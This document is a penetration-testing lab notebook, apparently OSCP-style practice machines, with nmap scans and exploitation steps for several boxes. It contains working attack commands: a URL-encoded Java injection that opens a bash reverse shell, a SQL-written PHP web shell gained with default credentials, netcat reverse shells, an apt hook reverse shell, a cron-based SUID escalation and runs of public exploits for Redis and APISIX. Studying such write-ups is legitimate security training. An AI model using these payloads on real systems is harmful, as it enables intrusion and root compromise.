http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
http://192.168.200.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.155/4444%200%3E%261%27%29.start%28%29%22%29%7D/
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got local.txt

PrivEsc: [Cron Jobs]

ran an pspy32 !!

# timeout 60s pspy32

You can see the log-backup.sh is run by the root user !!

let's see we ahve any permissions to edit that !!
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You can see as a confluence user we can edit !!

Let's set the SUID Binary exploit and get access to root user !!

confluence@flu:/opt$ echo chmod u+s /bin/bash > /opt/log-backup.sh

After some time !!

confluence@flu:/opt$ bash -i -p

got the root user access
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got the proof.txt !!

Election1

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):
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=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.22 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
|   256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)
|_  256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is an http port 80 and it is apache default page just ran a ffuf !!
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there is an /phpmyadmin/ → login page !!

tried with the default credetials worked !! root : toor
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got access and got the reverse shell !!

```
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/backdoor.php"

```
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got the access !!

192.168.223.211/backdoor.php?cmd=whoami

got the reverse shell: 

192.168.223.211/backdoor.php?
cmd=busybox%20nc%20192.168.45.155%204444%20-e%20/bin/bash

http://192.168.223.211/backdoor.php?cmd=busybox%20nc%20192.168.45.155%204444%20-e%20/bin/bash
http://192.168.223.211/backdoor.php?cmd=busybox%20nc%20192.168.45.155%204444%20-e%20/bin/bash
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got local.txt !!

PrivEsc: [SUID]

you can see in the gtfobins there is no exploiit search for the exploit db !!

# searchsploit Serv-U  

Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)  →  multiple/local/
47173.sh

upload to the target system and just execuet it !!

www-data@election:/home/love/temp$ chmod +x 47173.sh

www-data@election:/home/love/temp$ bash 47173.sh
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got the root access !!

Womb

Brief:

OS:

IP:

Users:
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Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.22 --open

NMAP Results:

22/tcp    open  ssh        OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 09:80:39:ef:3f:61:a8:d9:e6:fb:04:94:23:c9:ef:a8 (RSA)
|   256 83:f8:6f:50:7a:62:05:aa:15:44:10:f5:4a:c2:f5:a6 (ECDSA)
|_  256 1e:2b:13:30:5c:f1:31:15:b4:e8:f3:d2:c4:e8:05:b5 (ED25519)
80/tcp    open  http       nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
6379/tcp  open  redis      Redis key-value store 5.0.9
8080/tcp  open  http-proxy
|_http-title: Home | NodeBB
| http-robots.txt: 3 disallowed entries 
|_/admin/ /reset/ /compose
27017/tcp open  mongodb    MongoDB 4.0.18
| mongodb-databases: 
|   code = 13
|   errmsg = command listDatabases requires authentication
|   codeName = Unauthorized
|_  ok = 0.0
| mongodb-info: 
|   MongoDB Build info
|     version = 4.0.18
|     ok = 1.0

=======================================================
========================

Web Service Enumeration:

[+ Nikto]
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[+ Fuzzing]

## LAB Steps:

→ There is a web application running on port 80 that is Node BB
→ But no use there is redis server running !! I have found the exploit github and tried to
exploit got the interative shell as root user !!

Redis key-value store 5.0.9

Github exploit: https://github.com/n0b0dyCN/redis-rogue-server

# ./redis-rogue-server.py --rhost=192.168.223.69 --lhost=192.168.45.230 --
lport=8080

got the shell !!

Flimsy

Brief:

OS:

https://github.com/n0b0dyCN/redis-rogue-server
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IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.246.220 --open

NMAP Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Upright
3306/tcp  open  mysql   MySQL (unauthorized)
43500/tcp open  http    OpenResty web app server
|_http-server-header: APISIX/2.8
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

## LAB Steps:

→ There are two web servers running !!
→ fuzzed all the endpoints nothing found !!
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but If you observe the http server port 45300

You can see the server details !!

APISIX 

search for the exploits 

Apache APISIX 2.12.1 - Remote Code Execution (RCE) →  multiple/remote/50829.py

I have found another exploit !!

https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112

got inital access !!

# python3 apisix-exploit.py http://192.168.246.220:43500/ 192.168.45.225
443

https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112
http://192.168.246.220:43500/
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got local.txt
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PrivEsc:

Ran a linpeas.sh

you can see we can edit the /etc/apt/apt.conf.d

and also there is a cron job runnign every min !!
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I don't have any idea how this could be exploited !!

got one article about this !!

https://systemweakness.com/code-execution-with-apt-update-in-crontab-
privesc-in-linux-e6d6ffa8d076

we need to naviagate to /etc/apt/apt.conf.d

franklin@flimsy:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/
f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.225 4444 >/tmp/
f"};' > shell

we need to create shell file 

and listen on port 4444 we will get the shell !!

https://systemweakness.com/code-execution-with-apt-update-in-crontab-privesc-in-linux-e6d6ffa8d076
https://systemweakness.com/code-execution-with-apt-update-in-crontab-privesc-in-linux-e6d6ffa8d076
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got root access and proof.txt

Fantastic

grafana exploit !!

and disk privesc !!


